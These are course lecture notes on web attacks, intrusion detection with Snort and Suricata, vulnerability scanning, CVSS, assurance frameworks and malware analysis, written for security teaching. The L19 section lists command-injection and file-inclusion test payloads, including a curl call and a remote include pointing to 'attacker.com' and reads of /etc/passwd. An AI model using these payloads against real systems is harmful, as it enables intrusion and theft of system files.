

Contents

Vol 03: Web Attacks, IDS, Assurance, Malware	2
L19: Command Injection, LFI/RFI & Server-Side Attacks	2
Purpose	2
Command injection testing	2
LFI/RFI testing	2
ZAP testing	2
Countermeasures	2
L20: Session Management, CSRF & Authentication Flaws	3
Purpose	3
Testing steps	3
ZAP CSRF check	3
Countermeasures	3
L21: Intrusion Detection with Snort	3
Purpose	3
Installation (Ubuntu)	3
Usage steps	4
Countermeasures (attacker evasion awareness)	4
L22: IDS Tuning, IPS Mode & Log Analysis	4
Purpose	4
Snort IPS (inline) mode	4
Suricata alternative	4
Tuning steps	4
Countermeasures	5
L23: Vulnerability Scanning with OpenVAS/GVM	5
Purpose	5
Usage steps	5
CLI (openvas-cli)	5
Countermeasures	5
L24: CVSS Scoring & Vulnerability Prioritization	5
Purpose	5
CVSS v3.1 metrics	5
Scoring steps	6
Calculator	6
Countermeasures	6
L25: Security Assurance — Frameworks, Audits & Compliance	6
Purpose	6
Key frameworks	6
Audit steps	6
Countermeasures	6

L26: Malware Taxonomy & Static Analysis	7
Purpose	7
Malware types	7
Static analysis tools	7
Countermeasures	7
L27: Dynamic Malware Analysis & Sandboxing	7
Purpose	7
Sandbox steps	8
Tools	8
Countermeasures	8

Vol 03: Web Attacks, IDS, Assurance, Malware

Course: nou26_ge86 | **Lectures:** L19–L27

Instructor: Prof. Dr. Nilesh K. Modi | IGNOU/BAOU

L19: Command Injection, LFI/RFI & Server-Side Attacks

Purpose

Server-side injection flaws let attackers execute OS commands or include arbitrary files.

Command injection testing

```
# Test inputs with:
; whoami
| id
`cat /etc/passwd`
$(curl attacker.com)
```

LFI/RFI testing

```
# Local File Inclusion
?page=../../../../etc/passwd
?page=php://filter/convert.base64-encode/resource=index.php

# Remote File Inclusion (rare today)
?page=http://attacker.com/shell.txt
```

ZAP testing

Use Fuzzer on file parameters; check Active Scan alerts for Path Traversal.

Countermeasures

- Never pass user input to shell (`exec`, `system`).

- Use allowlists for file paths.
- Disable `allow_url_include` in PHP.
- Run web server as low-privilege user; chroot/containers.

Lab reminder: test only on authorized systems. Unauthorized access violates the IT Act, 2000.

L20: Session Management, CSRF & Authentication Flaws

Purpose

Weak session handling and missing CSRF tokens enable account takeover and unauthorized actions.

Testing steps

1. Check cookie flags: `Secure`, `HttpOnly`, `SameSite`.
2. Test session fixation: login without accepting new session ID.
3. CSRF: create HTML form posting to state-changing endpoint.
4. Test password reset flow for token predictability.

ZAP CSRF check

Active scan → look for ‘Absence of Anti-CSRF Tokens’ alerts.

Countermeasures

- Generate cryptographically random session IDs.
- Rotate session ID on login.
- Implement CSRF tokens on all state-changing requests.
- Enforce MFA for sensitive operations.
- Set `SameSite=Strict` or `Lax` on cookies.

Lab reminder: test only on authorized systems. Unauthorized access violates the IT Act, 2000.

L21: Intrusion Detection with Snort

Purpose

Snort is an open-source network IDS/IPS that matches traffic against rule-based signatures.

Installation (Ubuntu)

```
sudo apt install snort
# Or Snort 3 from source: docs.snort.org
```

Usage steps

```
# Test configuration
sudo snort -T -c /etc/snort/snort.conf

# IDS mode (alert only)
sudo snort -A console -c /etc/snort/snort.conf -i eth0

# Custom rule example
alert tcp any any -> $HOME_NET 80 (msg:"SQL Injection Attempt"; \
  content:"UNION"; content:"SELECT"; sid:1000001;)

# Log to unified2
sudo snort -c /etc/snort/snort.conf -i eth0 -l /var/log/snort
```

Countermeasures (attacker evasion awareness)

- Fragmentation, encoding, encryption bypass signature IDS.
- Defenders: combine Snort with anomaly detection, TLS inspection (where legal).
- Keep rules updated: `sudo snort-update` / PulledPork.
- Tune rules to reduce false positives.

Lab reminder: test only on authorized systems. Unauthorized access violates the IT Act, 2000.

L22: IDS Tuning, IPS Mode & Log Analysis

Purpose

Operationalize IDS — reduce false positives, enable inline blocking, correlate alerts.

Snort IPS (inline) mode

```
# Requires inline network tap or bridge
sudo snort -Q --daq afpacket -c /etc/snort/snort.conf -i eth0:eth1
```

Suricata alternative

```
sudo apt install suricata
sudo suricatasc -c ruleset-reload-rules
sudo tail -f /var/log/suricata/fast.log
```

Tuning steps

1. Baseline normal traffic for 48 hours.
2. Suppress noisy rules (e.g., ICMP ping).
3. Create custom rules for critical assets.
4. Integrate with SIEM (Splunk, ELK, Wazuh).
5. Define escalation playbooks per alert category.

Countermeasures

- Defense: encrypted C2 is hard to signature-detect — use behavioral analytics.
- Regular purple-team exercises to validate detection coverage.
- Document every suppressed rule with justification.

Lab reminder: test only on authorized systems. Unauthorized access violates the IT Act, 2000.

L23: Vulnerability Scanning with OpenVAS/GVM

Purpose

OpenVAS (Greenbone Vulnerability Manager) performs authenticated and unauthenticated network vulnerability scans.

Usage steps

1. Install GVM: `sudo apt install gvm → sudo gvm-setup`.
2. Access web UI: `https://127.0.0.1:9392`.
3. Create target (IP/host list).
4. Create task with scan config (Full and fast / Full and deep).
5. Launch scan; review results by severity.
6. Export PDF/CSV report for remediation tracking.

CLI (openvas-cli)

```
omp -u admin -w password --xml='<get_reports/>'
```

Countermeasures

- Patch or mitigate every Critical/High finding.
- Schedule monthly scans; continuous with Greenbone Enterprise.
- Use credentialed scans for accurate patch status.
- Validate fixes with re-scan.

Lab reminder: test only on authorized systems. Unauthorized access violates the IT Act, 2000.

L24: CVSS Scoring & Vulnerability Prioritization

Purpose

Common Vulnerability Scoring System (CVSS) provides standardized severity ratings for triage.

CVSS v3.1 metrics

- **Base:** Attack Vector, Complexity, Privileges, User Interaction, Scope, Impact (C/I/A)
- **Temporal:** Exploit maturity, remediation level
- **Environmental:** asset-specific modifiers

Scoring steps

1. Obtain CVE and NVD entry.
2. Calculate base score (use NVD calculator).
3. Apply environmental score for your asset criticality.
4. Prioritize: Critical (9.0–10.0) → immediate; Low (0.1–3.9) → scheduled.

Calculator

<https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator>

Countermeasures

- Don't chase volume — prioritize by exploitability + asset value.
- Track mean time to remediate (MTTR) by severity.
- Integrate CVSS with ticketing (Jira, ServiceNow).

Lab reminder: test only on authorized systems. Unauthorized access violates the IT Act, 2000.

L25: Security Assurance — Frameworks, Audits & Compliance

Purpose

Assurance demonstrates that controls are designed and operating effectively — PGDCS-103 Block 2, Unit 1.

Key frameworks

Framework	Focus
ISO 27001	ISMS certification
NIST CSF	Identify, Protect, Detect, Respond, Recover
CIS Controls	Prioritized technical safeguards
COBIT	IT governance

Audit steps

1. Define scope and criteria.
2. Collect evidence (policies, logs, scan reports).
3. Interview process owners.
4. Test controls (sample access reviews).
5. Report findings with risk ratings.
6. Track remediation to closure.

Countermeasures

- Maintain evidence repository (policy version control).
- Automate compliance checks (InSpec, OpenSCAP).

- Annual external audit for certification.
- Reference Nina Godbole Ch. on metrics and frameworks.

Lab reminder: test only on authorized systems. Unauthorized access violates the IT Act, 2000.

L26: Malware Taxonomy & Static Analysis

Purpose

Classify malware and examine binaries without execution — PGDCS-103 Block 2, Unit 2.

Malware types

Virus, worm, trojan, ransomware, rootkit, spyware, adware, fileless malware.

Static analysis tools

```
# File identification
file suspicious.exe
md5sum suspicious.exe    # hash for VirusTotal lookup

# Strings extraction
strings suspicious.exe | less

# PE analysis (Windows)
objdump -x suspicious.exe
peframe suspicious.exe

# ClamAV scan
clamscan -r /path/to/samples/
```

Countermeasures

- Block known hashes at endpoint (EDR).
- Application allowlisting.
- Email attachment sandboxing.
- User awareness — don't open unknown attachments.

Lab reminder: test only on authorized systems. Unauthorized access violates the IT Act, 2000.

L27: Dynamic Malware Analysis & Sandboxing

Purpose

Execute malware in isolated environment to observe behavior — network callbacks, file changes, registry keys.

Sandbox steps

1. Prepare isolated VM (no network or simulated net).
2. Take snapshot.
3. Execute sample.
4. Monitor: Process Monitor, Wireshark, Regshot.
5. Revert snapshot.
6. Document IOCs (IPs, domains, file paths).

Tools

- **Cuckoo Sandbox** — automated analysis
- **ANY.RUN** — interactive cloud sandbox
- **Procmon** + **Wireshark** — manual analysis

Countermeasures

- Block C2 domains at DNS/firewall (threat intel feeds).
- Behavioral detection (AMS/EDR).
- Network segmentation limits lateral spread.
- Report IOCs to CERT-In for national coordination.

Lab reminder: test only on authorized systems. Unauthorized access violates the IT Act, 2000.